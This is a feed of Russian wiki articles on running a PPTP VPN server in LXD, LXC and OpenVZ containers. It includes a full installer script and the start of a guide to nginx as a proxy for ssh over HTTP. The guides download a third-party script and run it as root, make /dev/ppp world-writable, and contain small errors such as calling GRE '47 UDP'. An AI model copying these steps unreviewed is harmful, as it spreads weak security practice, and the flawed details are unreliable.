Эта статья - результат адаптации вот этой - &lt;a href=&quot;https://wiki.autosys.tk/linux_faq/pptp_vpn_server_in_lxc_container_on_ubutnu_16.04_host&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:pptp_vpn_server_in_lxc_container_on_ubutnu_16.04_host&quot; data-wiki-id=&quot;linux_faq:pptp_vpn_server_in_lxc_container_on_ubutnu_16.04_host&quot;&gt;PPTP VPN сервер в контейнере LXC на Ubuntu 16.04&lt;/a&gt; &lt;br/&gt;

&lt;/p&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;добавляем_устройство_ppp_в_профиль_или_контейнер_lxd&quot;&gt;Добавляем устройство ppp в профиль или контейнер LXD&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Добавление профиля и устройства в него:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo lxc profile create device_ppp
sudo lxc profile device add device_ppp dev_ppp unix-char path=/dev/ppp&lt;/pre&gt;

&lt;p&gt;
И назначаем профиль контейнеру:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo lxc profile assign pptp device_ppp,default&lt;/pre&gt;

&lt;p&gt;
Тут важно, что нужно перечислить все профили, назначаемые контейнеру.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0414\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e ppp \u0432 \u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0438\u043b\u0438 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440 LXD&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c_\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e_ppp_\u0432_\u043f\u0440\u043e\u0444\u0438\u043b\u044c_\u0438\u043b\u0438_\u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440_lxd&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;219-744&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit2&quot; id=&quot;добавление_устройства_непосредственно_в_контейнер&quot;&gt;Добавление устройства непосредственно в контейнер&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
В этом случае профиль можно не создавать.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo lxc config device add &amp;lt;ctname&amp;gt; dev_ppp unix-char path=/dev/ppp&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0432 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435_\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430_\u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e_\u0432_\u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;745-997&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit3&quot; id=&quot;iptables_на_хосте&quot;&gt;iptables на хосте&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
В &lt;strong&gt;/etc/sysctl.conf&lt;/strong&gt; включать &lt;strong&gt;net.ipv4.ip_forward=1&lt;/strong&gt; не обязательно. &lt;br/&gt;

У меня все заработало и с закомментированной строкой &lt;strong&gt;net.ipv4.ip_forward=1&lt;/strong&gt; на хосте.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;iptables \u043d\u0430 \u0445\u043e\u0441\u0442\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;iptables_\u043d\u0430_\u0445\u043e\u0441\u0442\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;998-1274&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit4&quot; id=&quot;настройка_контейнера&quot;&gt;Настройка контейнера&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Устанавливаем то что нужно:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install wget nano iptables iptables-persistent&lt;/pre&gt;

&lt;p&gt;
Скачиваем скрипт для быстрой настройки &lt;strong&gt;PopTop&lt;/strong&gt; - он акутален для &lt;strong&gt;Ubuntu 18.04&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;wget https://raw.github.com/cwaffles/ezpptp/master/ezpptp.sh&lt;/pre&gt;

&lt;p&gt;
В скрипте упоминается адаптер &lt;strong&gt;venet&lt;/strong&gt;, однако в &lt;strong&gt;lxc&lt;/strong&gt; он перeименовывается в &lt;strong&gt;eth0&lt;/strong&gt;, поэтому:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sed -i &amp;#039;s/venet0:0/eth0/g&amp;#039; ezpptp.sh
chmod +x ezpptp.sh &amp;amp; sudo ./ezpptp.sh&lt;/pre&gt;

&lt;p&gt;
Отвечаем на вопросы скрипта, перезагружаем контейнер и проверяем. Если ваш &lt;strong&gt;PPTP VPN&lt;/strong&gt; аходится за &lt;strong&gt;NAT&lt;/strong&gt;, то пробрасываем к нему &lt;strong&gt;GRE&lt;/strong&gt; и &lt;strong&gt;PPTP&lt;/strong&gt; - порты &lt;strong&gt;47 UDP&lt;/strong&gt; и &lt;strong&gt;1723 TCP&lt;/strong&gt; &lt;br/&gt;

Включаем сервис:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt; sudo systemctl enable pptpd&lt;/pre&gt;

&lt;p&gt;
В файлике &lt;strong&gt;/etc/pptpd.conf&lt;/strong&gt; нужно прописать &lt;strong&gt;localip&lt;/strong&gt;. В результате он будет выглядеть так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;option /etc/ppp/pptpd-options
logwtmp
localip 192.168.77.133
remoteip 10.1.0.1-100&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430_\u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;1275-2471&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit5&quot; id=&quot;настраиваем_iptables_в_контейнере&quot;&gt;Настраиваем iptables в контейнере&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Без &lt;strong&gt;iptables&lt;/strong&gt; клиенту будет доступен только сам контейнер. Для того, чтобы работала сеть нужно создать правило &lt;strong&gt;iptables&lt;/strong&gt;.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo iptables -t nat -A POSTROUTING -j SNAT --to **VPNServer-IP-Address**
sudo iptables-save | sudo tee /etc/iptables/rules.v4&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0430\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u043c iptables \u0432 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0430\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u043c_iptables_\u0432_\u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;2472-2885&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit6&quot; id=&quot;включаем_debug_pptpd&quot;&gt;Включаем debug pptpd&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
&lt;strong&gt;Poptop&lt;/strong&gt; сыпет логи в &lt;strong&gt;syslogd&lt;/strong&gt; в &lt;strong&gt;daemon.debug&lt;/strong&gt;. Поэтому в &lt;strong&gt;Ubuntu 16.04&lt;/strong&gt; нужно отредактировать файлик &lt;strong&gt;/etc/rsyslog.d/50-default.conf&lt;/strong&gt; или добавить новый в этой же диреткории и дописать туда:   
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;daemon.debug /var/log/pptpd.log&lt;/pre&gt;

&lt;p&gt;
В  файлик &lt;strong&gt;/etc/ppp/options&lt;/strong&gt; нужно добавить 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;debug&lt;/pre&gt;

&lt;p&gt;
А затем перезапустить &lt;strong&gt;rsyslogd&lt;/strong&gt; и &lt;strong&gt;pptpd&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo service rsyslog restart
sudo service pptpd restart&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0412\u043a\u043b\u044e\u0447\u0430\u0435\u043c debug pptpd&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0432\u043a\u043b\u044e\u0447\u0430\u0435\u043c_debug_pptpd&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:6,&amp;quot;range&amp;quot;:&amp;quot;2886-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>pptp_vpn_server_in_lxc_container_on_ubutnu_16.04_host</title>
            <link>https://wiki.autosys.tk/linux_faq/pptp_vpn_server_in_lxc_container_on_ubutnu_16.04_host</link>
            <description>
&lt;p&gt;
На хосте &lt;strong&gt;Ubuntu 16.04&lt;/strong&gt; с LXC развернут контейнер c &lt;strong&gt;Ubuntu 16.04&lt;/strong&gt;.
&lt;/p&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;настройка_хоста&quot;&gt;Настройка хоста&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
На хосте прописываем загрузку модулей в &lt;strong&gt;/etc/modules&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;tun
ppp-compress-18
ppp_mppe
ppp_deflate
ppp_async
pppoatm
ppp_generic
ip_gre&lt;/pre&gt;

&lt;p&gt;
Также нужно на хосте разрешить форвардинг пакетов в &lt;strong&gt;iptables&lt;/strong&gt;. Для этого раскомментируем в файлике &lt;strong&gt;/etc/sysctl.conf&lt;/strong&gt; строку:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;net.ipv4.ip_forward=1&lt;/pre&gt;

&lt;p&gt;
и применим изменения:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo sysctl -p&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u0445\u043e\u0441\u0442\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430_\u0445\u043e\u0441\u0442\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;100-623&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;добавляем_устройство_в_контейнер_lxc&quot;&gt;Добавляем устройство в контейнер LXC&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Это акутально для старых версий &lt;strong&gt;lxc&lt;/strong&gt; - &lt;strong&gt;Ubuntu 16.04&lt;/strong&gt; и более старых. &lt;br/&gt;
В более новых - LXC\LXD. О них ниже. &lt;br/&gt;

В конфигурации контейнера &lt;strong&gt;/var/lib/lxc/[container_name]/config&lt;/strong&gt; прописываем разрешения на работу с устройством &lt;strong&gt;/dev/ppp&lt;/strong&gt;. &lt;br/&gt;

Сначала на хосте смотрим параметры этого устройства:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;ls -ls /dev/ppp
0 crw------- 1 root root 108, 0 Jun  8 21:19 /dev/ppp&lt;/pre&gt;

&lt;p&gt;
Отсюда берем значения &lt;strong&gt;108&lt;/strong&gt; и &lt;strong&gt;0&lt;/strong&gt; и прописываем их в &lt;strong&gt;/var/lib/lxc/[container_name]/config&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;lxc.cgroup.devices.allow = c 108:0 rwm&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0414\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0432 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440 LXC&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c_\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e_\u0432_\u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440_lxc&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;624-1422&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;настройка_контейнера&quot;&gt;Настройка контейнера&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Устанавливаем то что нужно:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install wget nano iptables&lt;/pre&gt;

&lt;p&gt;
Заходим в контейнер и прописываем в &lt;strong&gt;/etc/rc.local&lt;/strong&gt; следующее:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt; iptables -t nat -A POSTROUTING -j SNAT --to `ifconfig eth0 | grep &amp;#039;inet addr&amp;#039; | awk {&amp;#039;print $2&amp;#039;} | sed s/.*://`
 mknod /dev/ppp c 108 0
 chmod 0666 /dev/ppp
 service pptpd restart&lt;/pre&gt;

&lt;p&gt;
Скачиваем скрипт для быстрой настройки &lt;strong&gt;PopTop&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;wget https://raw.github.com/cwaffles/ezpptp/master/ezpptp.sh&lt;/pre&gt;

&lt;p&gt;
В скрипте упоминается адаптер &lt;strong&gt;venet&lt;/strong&gt;, однако в &lt;strong&gt;lxc&lt;/strong&gt; он перeименовывается в &lt;strong&gt;eth0&lt;/strong&gt;, поэтому:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sed -i &amp;#039;s/venet0:0/eth0/g&amp;#039; ezpptp.sh
chmod +x ezpptp.sh &amp;amp; sudo ./ezpptp.sh&lt;/pre&gt;

&lt;p&gt;
Отвечаем на вопросы скрипта, перезагружаем контейнер и проверяем. Если ваш PPTP VPN аходится за NAT, то пробрасываем к нему &lt;strong&gt;GRE&lt;/strong&gt; и &lt;strong&gt;PPTP&lt;/strong&gt; - порты &lt;strong&gt;47 UDP&lt;/strong&gt; и &lt;strong&gt;1723 TCP&lt;/strong&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430_\u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;1423-2525&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit4&quot; id=&quot;включаем_debug&quot;&gt;Включаем debug&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
&lt;strong&gt;Poptop&lt;/strong&gt; сыпет логи в &lt;strong&gt;syslogd&lt;/strong&gt; в &lt;strong&gt;daemon.debug&lt;/strong&gt;. Поэтому в &lt;strong&gt;Ubuntu 16.04&lt;/strong&gt; нужно отредактировать файлик &lt;strong&gt;/etc/rsyslog.d/50-default.conf&lt;/strong&gt; или добавить новый в этой же диреткории и дописать туда:   
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;daemon.debug /var/log/pptpd.log&lt;/pre&gt;

&lt;p&gt;
В  файлик &lt;strong&gt;/etc/ppp/options&lt;/strong&gt; нужно добавить 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;debug&lt;/pre&gt;

&lt;p&gt;
А затем перезапустить &lt;strong&gt;rsyslogd&lt;/strong&gt; и &lt;strong&gt;pptpd&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo service rsyslog restart
sudo service pptpd restart&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0412\u043a\u043b\u044e\u0447\u0430\u0435\u043c debug&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0432\u043a\u043b\u044e\u0447\u0430\u0435\u043c_debug&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;2526-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>pptp_vpn_server_in_openvz_container</title>
            <link>https://wiki.autosys.tk/linux_faq/pptp_vpn_server_in_openvz_container</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;поднимаем_pptp_vpn_сервер_в_контейнере_oрenvz&quot;&gt;Поднимаем PPTP VPN сервер в контейнере OрenVZ&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Сам умный скрипт взят отсюда: &lt;a href=&quot;http://www.putdispenserhere.com/pptp-debian-ubuntu-openvz-setup-script/&quot; class=&quot;urlextern&quot; title=&quot;http://www.putdispenserhere.com/pptp-debian-ubuntu-openvz-setup-script/&quot; rel=&quot;ugc nofollow&quot;&gt;http://www.putdispenserhere.com/pptp-debian-ubuntu-openvz-setup-script/&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
Но там не указаны некоторые подготовительные мероприятия.
Во первых - на выключенном контейнере надо разрешить использование &lt;strong&gt;iptables&lt;/strong&gt; и дать права на устройство &lt;strong&gt;ppp&lt;/strong&gt;.
Создаем контейнер. У меня это &lt;strong&gt;Ubuntu 14.04 minimal&lt;/strong&gt;. Не запускаем его, а на хосте  OpenVZ (в моем случае CentOS 6.6) делаем так:
Подгружаем модули:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;modprobe tun &amp;amp;&amp;amp; modprobe ppp-compress-18 &amp;amp;&amp;amp; modprobe ppp_mppe &amp;amp;&amp;amp; modprobe ppp_deflate &amp;amp;&amp;amp; modprobe ppp_async &amp;amp;&amp;amp; modprobe pppoatm &amp;amp;&amp;amp; modprobe ppp_generic &amp;amp;&amp;amp; modprobe ip_gre&lt;/pre&gt;

&lt;p&gt;
И добавляем в &lt;strong&gt;/etc/rc.modules&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;/sbin/modprobe tun
/sbin/modprobe ppp-compress-18
/sbin/modprobe ppp_mppe
/sbin/modprobe ppp_deflate
/sbin/modprobe ppp_async
/sbin/modprobe pppoatm
/sbin/modprobe ppp_generic
/sbin/modprobe ip_gre&lt;/pre&gt;

&lt;p&gt;
Даем необходимые права контейнеру:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;vzctl set CTID --netfilter full --save
vzctl set CTID --capability net_admin:on --save&lt;/pre&gt;

&lt;p&gt;
Запускаем контейнер, создаем в нем устройство &lt;strong&gt;ppp&lt;/strong&gt; и даем на него права:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;vzctl start CTID
vzctl exec CTID mknod /dev/ppp c 108 0
vzctl set CTID --devices c:108:0:rw --save&lt;/pre&gt;

&lt;p&gt;
Теперь заходим в контейнер, скачиаем или создаем скрипт и выполняем его:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;vzctl enter CTID
wget https://raw.github.com/cwaffles/ezpptp/master/ezpptp.sh
chmod +x ezpptp.sh &amp;amp;&amp;amp; ./ezpptp.sh&lt;/pre&gt;

&lt;p&gt;
Вот текст скрипта:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;#!/bin/bash
# Interactive PoPToP install script for an OpenVZ VPS
# Tested on Debian 5, 6, and Ubuntu 11.04
# April 2, 2013 v1.11
# http://www.putdispenserhere.com/pptp-debian-ubuntu-openvz-setup-script/

echo &amp;quot;######################################################&amp;quot;
echo &amp;quot;Interactive PoPToP Install Script for an OpenVZ VPS&amp;quot;
echo
echo &amp;quot;Make sure to contact your provider and have them enable&amp;quot;
echo &amp;quot;IPtables and ppp modules prior to setting up PoPToP.&amp;quot;
echo &amp;quot;PPP can also be enabled from SolusVM.&amp;quot;
echo
echo &amp;quot;You need to set up the server before creating more users.&amp;quot;
echo &amp;quot;A separate user is required per connection or machine.&amp;quot;
echo &amp;quot;######################################################&amp;quot;
echo
echo
echo &amp;quot;######################################################&amp;quot;
echo &amp;quot;Select on option:&amp;quot;
echo &amp;quot;1) Set up new PoPToP server AND create one user&amp;quot;
echo &amp;quot;2) Create additional users&amp;quot;
echo &amp;quot;######################################################&amp;quot;
read x
if test $x -eq 1; then
        echo &amp;quot;Enter username that you want to create (eg. client1 or john):&amp;quot;
        read u
        echo &amp;quot;Specify password that you want the server to use:&amp;quot;
        read p

# get the VPS IP
ip=`ifconfig venet0:0 | grep &amp;#039;inet addr&amp;#039; | awk {&amp;#039;print $2&amp;#039;} | sed s/.*://`

echo
echo &amp;quot;######################################################&amp;quot;
echo &amp;quot;Downloading and Installing PoPToP&amp;quot;
echo &amp;quot;######################################################&amp;quot;
apt-get update
apt-get -y install pptpd

echo
echo &amp;quot;######################################################&amp;quot;
echo &amp;quot;Creating Server Config&amp;quot;
echo &amp;quot;######################################################&amp;quot;
cat &amp;gt; /etc/ppp/pptpd-options &amp;lt;&amp;lt;END
name pptpd
refuse-pap
refuse-chap
refuse-mschap
require-mschap-v2
require-mppe-128
ms-dns 8.8.8.8
ms-dns 8.8.4.4
proxyarp
nodefaultroute
lock
nobsdcomp
END

# setting up pptpd.conf
echo &amp;quot;option /etc/ppp/pptpd-options&amp;quot; &amp;gt; /etc/pptpd.conf
echo &amp;quot;logwtmp&amp;quot; &amp;gt;&amp;gt; /etc/pptpd.conf
echo &amp;quot;localip $ip&amp;quot; &amp;gt;&amp;gt; /etc/pptpd.conf
echo &amp;quot;remoteip 10.1.0.1-100&amp;quot; &amp;gt;&amp;gt; /etc/pptpd.conf

# adding new user
echo &amp;quot;$u        *       $p      *&amp;quot; &amp;gt;&amp;gt; /etc/ppp/chap-secrets

echo
echo &amp;quot;######################################################&amp;quot;
echo &amp;quot;Forwarding IPv4 and Enabling it on boot&amp;quot;
echo &amp;quot;######################################################&amp;quot;
cat &amp;gt;&amp;gt; /etc/sysctl.conf &amp;lt;&amp;lt;END
net.ipv4.ip_forward=1
END
sysctl -p

echo
echo &amp;quot;######################################################&amp;quot;
echo &amp;quot;Updating IPtables Routing and Enabling it on boot&amp;quot;
echo &amp;quot;######################################################&amp;quot;
iptables -t nat -A POSTROUTING -j SNAT --to $ip
# saves iptables routing rules and enables them on-boot
iptables-save &amp;gt; /etc/iptables.conf

cat &amp;gt; /etc/network/if-pre-up.d/iptables &amp;lt;&amp;lt;END
#!/bin/sh
iptables-restore &amp;lt; /etc/iptables.conf
END

chmod +x /etc/network/if-pre-up.d/iptables
cat &amp;gt;&amp;gt; /etc/ppp/ip-up &amp;lt;&amp;lt;END
ifconfig ppp0 mtu 1400
END

echo
echo &amp;quot;######################################################&amp;quot;
echo &amp;quot;Restarting PoPToP&amp;quot;
echo &amp;quot;######################################################&amp;quot;
sleep 5
/etc/init.d/pptpd restart

echo
echo &amp;quot;######################################################&amp;quot;
echo &amp;quot;Server setup complete!&amp;quot;
echo &amp;quot;Connect to your VPS at $ip with these credentials:&amp;quot;
echo &amp;quot;Username:$u ##### Password: $p&amp;quot;
echo &amp;quot;######################################################&amp;quot;

# runs this if option 2 is selected
elif test $x -eq 2; then
        echo &amp;quot;Enter username that you want to create (eg. client1 or john):&amp;quot;
        read u
        echo &amp;quot;Specify password that you want the server to use:&amp;quot;
        read p

# get the VPS IP
ip=`ifconfig venet0:0 | grep &amp;#039;inet addr&amp;#039; | awk {&amp;#039;print $2&amp;#039;} | sed s/.*://`

# adding new user
echo &amp;quot;$u        *       $p      *&amp;quot; &amp;gt;&amp;gt; /etc/ppp/chap-secrets

echo
echo &amp;quot;######################################################&amp;quot;
echo &amp;quot;Addtional user added!&amp;quot;
echo &amp;quot;Connect to your VPS at $ip with these credentials:&amp;quot;
echo &amp;quot;Username:$u ##### Password: $p&amp;quot;
echo &amp;quot;######################################################&amp;quot;

else
echo &amp;quot;Invalid selection, quitting.&amp;quot;
exit&lt;/pre&gt;

&lt;p&gt;
Все. Если ваш PPTP VPN аходится за NAT, то пробрасываем к нему GRE и PPTP - порты 47 UDP и 1723 TCP
&lt;/p&gt;

&lt;/div&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>proxytunnel_with_nginx_as_http_proxy</title>
            <link>https://wiki.autosys.tk/linux_faq/proxytunnel_with_nginx_as_http_proxy</link>
            <description>
&lt;p&gt;
Настройка &lt;strong&gt;nginx&lt;/strong&gt; в качестве HTTP-прокси для использования с &lt;strong&gt;proxytunnel&lt;/strong&gt; при подключениях типа &lt;strong&gt;ssh over http-proxy&lt;/strong&gt; &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
&lt;a href=&quot;https://serverfault.com/questions/355271/ssh-over-https-with-proxytunnel-and-nginx&quot; class=&quot;urlextern&quot; title=&quot;https://serverfault.com/questions/355271/ssh-over-https-with-proxytunnel-and-nginx&quot; rel=&quot;ugc nofollow&quot;&gt;https://serverfault.com/questions/355271/ssh-over-https-with-proxytunnel-and-nginx&lt;/a&gt; &lt;br/&gt;

&lt;a href=&quot;https://github.com/chobits/ngx_http_proxy_connect_module&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/chobits/ngx_http_proxy_connect_module&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/chobits/ngx_http_proxy_connect_module&lt;/a&gt; &lt;br/&gt;

&lt;/p&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;настройка_nginx&quot;&gt;Настройка nginx&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Для того, чтобы чистый &lt;strong&gt;nginx&lt;/strong&gt; мог проксировать &lt;strong&gt;ssh&lt;/strong&gt; ему не хватает поддержки метода &lt;strong&gt;CONNECT&lt;/strong&gt;. Добрый человек написал модуль для &lt;strong&gt;nginx&lt;/strong&gt;, который реализует этот функционал, однако для того чтобы это работало нужно собрать &lt;strong&gt;nginx&lt;/strong&gt; из исходников.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get update &amp;amp;&amp;amp; sudo apt-get upgrade &amp;amp;&amp;amp; sudo apt-get install wget nano 
sudo apt-get install build-essential -y
wget https://nginx.ru/download/nginx-1.12.2.tar.gz &amp;amp;&amp;amp; tar -zxvf ./nginx-1.12.2.tar.gz 
